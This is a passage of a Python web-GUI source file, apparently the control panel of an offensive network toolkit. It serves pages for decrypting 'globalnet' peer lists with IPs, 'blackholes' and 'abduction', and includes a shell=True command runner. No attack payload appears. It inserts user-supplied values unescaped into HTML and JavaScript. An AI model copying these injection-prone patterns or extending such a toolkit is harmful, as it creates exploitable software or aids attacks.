m = r.search(s)
7805
if m:
7806
self.playing_title = m.group(1).split("/")[1]
7807
tv_table += "<table><tr><td>[<a href='#' onclick=PlayTV('"+str(url_tv)+"')>PLAY!</a>]</td><td><a href='"+str(url_tv)+"' target='_blank'>"+str(self.playing_title)+"</a></td></tr></table>"
7808
else:
7809
tv_table +="<li>"+str(nodec_text)+"</li>"
7810
if self.playlist: # random play one video from playlist | autostart - controls - preload - allowfullscreen
7811
playlist_now = random.choice(self.playlist)
7812
if playlist_now.endswith(".ogv"): # remote .ogv
7813
o = urlparse(playlist_now)
7814
start = '/'
7815
end = '.ogv'
7816
s = o.path
7817
r = re.compile(start+'(.*?)'+end)
7818
m = r.search(s)
7819
if m:
7820
self.playing_title_now = m.group(1).split("/")[1]
7821
tv_table += "</ul></td></tr><tr><td><u>WATCHING:</u> <a id='tv_a' href='"+str(playlist_now)+"' target='_blank'><label id='tv_p'>"+str(self.playing_title_now)+"</label></a><br><br><video id='player' controls width='100%' height='480' preload='auto' autoplay><source id='tv_stream_source' src='"+str(playlist_now)+"' type='video/ogg' />Sorry, your browser doesn’t support HTML5 media.</video></td></tr></table><br>"
7822
else:
7823
tv_table += "</ul></td></tr></table><br>"
7824
f.write(tv_table)
7825
f.write(end_mark)
7826
f.close()
7827
if page == "/cmd_decrypt_tv_update":
7828
if not os.path.exists('/tmp/out'):
7829
open('/tmp/out', 'w').close()
7830
with open('/tmp/out', 'r') as f:
7831
self.pages["/cmd_decrypt_tv_update"] = "<pre>"+f.read()+"<pre>"
7832
if page == "/cmd_decrypt_globalnet":
7833
self.pages["/cmd_decrypt_globalnet"] = "<pre>Waiting for decrypting results...</pre>"
7834
try:
7835
globalnet_deckey = pGet["globalnet_deckey"]
7836
except:
7837
globalnet_deckey = ""
7838
end_mark = "[Info] [AI] End of decryption."
7839
if globalnet_deckey != "": # globalnet decryption
7840
nodec_text = "KEY?"
7841
globalnet_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_owner' style='color:red;text-decoration:underline red;' onclick=javascript:GlobalnetFilter('owner','"+str(globalnet_deckey)+"');>OWNER:</a></td><td align='center'><a id='filter_comment' style='color:red;text-decoration:underline red;' onclick=javascript:GlobalnetFilter('comment','"+str(globalnet_deckey)+"')>COMMENT:</a></td><td align='center'><a id='filter_warp' style='color:red;text-decoration:underline red;' onclick=javascript:GlobalnetFilter('warp','"+str(globalnet_deckey)+"')>WARPING:</a></td><td align='center'><a id='filter_ip' style='color:red;text-decoration:underline red;' onclick=javascript:GlobalnetFilter('ip','"+str(globalnet_deckey)+"')>IP:</a></td></tr>"
7842
f = open("/tmp/out", "w")
7843
self.list_globalnet_rev = reversed(self.list_globalnet) # order by DESC
7844
blackhole_ip_list = [] # used to check for repetitions
7845
for m in self.list_globalnet_rev: # list = owner, comment, warping, ip
7846
if globalnet_msg_sep in m:
7847
m = m.split(globalnet_msg_sep)
7848
globalnet_owner = m[0] # owner
7849
self.decrypt(globalnet_deckey, globalnet_owner)
7850
if self.decryptedtext:
7851
globalnet_owner = self.decryptedtext
7852
else:
7853
globalnet_owner = nodec_text
7854
self.decryptedtext = "" # clean decryptedtext buffer
7855
globalnet_comment = m[1] # comment
7856
self.decrypt(globalnet_deckey, globalnet_comment)
7857
if self.decryptedtext:
7858
globalnet_comment = self.decryptedtext
7859
else:
7860
globalnet_comment = nodec_text
7861
self.decryptedtext = "" # clean decryptedtext buffer
7862
globalnet_warp = m[2] # warp
7863
self.decrypt(globalnet_deckey, globalnet_warp)
7864
if self.decryptedtext:
7865
globalnet_warp = self.decryptedtext
7866
else:
7867
globalnet_warp = nodec_text
7868
if globalnet_warp == "OFF":
7869
warp_color = "pink"
7870
elif globalnet_warp == "ON1":
7871
warp_color = "orange"
7872
else: # ON2
7873
warp_color = "blue"
7874
self.decryptedtext = "" # clean decryptedtext buffer
7875
globalnet_ip = m[3] # ip
7876
self.decrypt(globalnet_deckey, globalnet_ip)
7877
if self.decryptedtext:
7878
globalnet_ip = self.decryptedtext
7879
else:
7880
globalnet_ip = nodec_text
7881
self.decryptedtext = "" # clean decryptedtext buffer
7882
if globalnet_ip not in blackhole_ip_list:
7883
blackhole_ip_list.append(globalnet_ip)
7884
globalnet_table += "<tr><td align='center'>"+str(globalnet_owner)+"</td><td align='center'>"+str(globalnet_comment)+"</td><td align='center'><font color="+warp_color+">"+str(globalnet_warp)+"</font></td><td align='center'><font color="+warp_color+">"+str(globalnet_ip)+"</font></td></tr>"
7885
globalnet_table += "</table><br>"
7886
f.write(globalnet_table)
7887
f.write(end_mark)
7888
f.close()
7889
if page == "/cmd_decrypt_globalnet_update":
7890
if not os.path.exists('/tmp/out'):
7891
open('/tmp/out', 'w').close()
7892
with open('/tmp/out', 'r') as f:
7893
self.pages["/cmd_decrypt_globalnet_update"] = "<pre>"+f.read()+"<pre>"
7894
if page == "/blackholes":
7895
self.pages["/blackholes"] = self.html_blackholes()
7896
if page == "/requests":
7897
if pGet=={}:
7898
self.pages["/requests"] = self.html_requests()
7899
else:
7900
self.save_cfg(pGet)
7901
self.pages["/requests"] = self.html_request_submit()
7902
if page == "/abduction":
7903
self.pages["/abduction"] = self.html_abduction()
7904
if page == "/stats":
7905
self.pages["/stats"] = self.html_stats()
7906
if page == "/wormhole":
7907
self.pages["/wormhole"] = self.pages["/header"] + "<iframe height='100%' width='100%' src='https://webchat.freenode.net'>"
7908
ctype = "text/html"
7909
if page.find(".js") != -1:
7910
ctype = "application/javascript"
7911
elif page.find(".txt") != -1:
7912
ctype = "text/plain"
7913
elif page.find(".ico") != -1:
7914
ctype = "image/x-icon"
7915
elif page.find(".png") != -1:
7916
ctype = "image/png"
7917
elif page.find(".css") != -1:
7918
ctype = "text/css"
7919
if page in self.pages:
7920
return dict(run=runcmd, code="200 OK", html=self.pages[page], ctype=ctype)
7921
return dict(run=runcmd, code="404 Error", html="404 Error<br><br>Page not found...", ctype=ctype)
7922
7923
class Command(object):
7924
def __init__(self, cmd):
7925
self.cmd = cmd
7926
self.process = None
7927
7928
def run(self, timeout):
7929
def target():
7930
self.process = subprocess.Popen(self.cmd, shell=True)
7931
thread = threading.Thread(target=target)
7932
thread.start()
7933
thread.join(timeout)
7934
if thread.is_alive():
7935
self.process.terminate()
7936
thread.join()
7937
7938
if __name__ == "__main__":
7939
webbrowser.open('http://127.0.0.1:9999', new=1)
7940
tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
7941
tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
7942
tcpsock.bind((host, port))
7943
while True:
7944
tcpsock.listen(4)
7945
(clientsock, (ip, c_port)) = tcpsock.accept()
7946
newthread = ClientThread(ip, c_port, clientsock)
7947
newthread.start()
7948
7949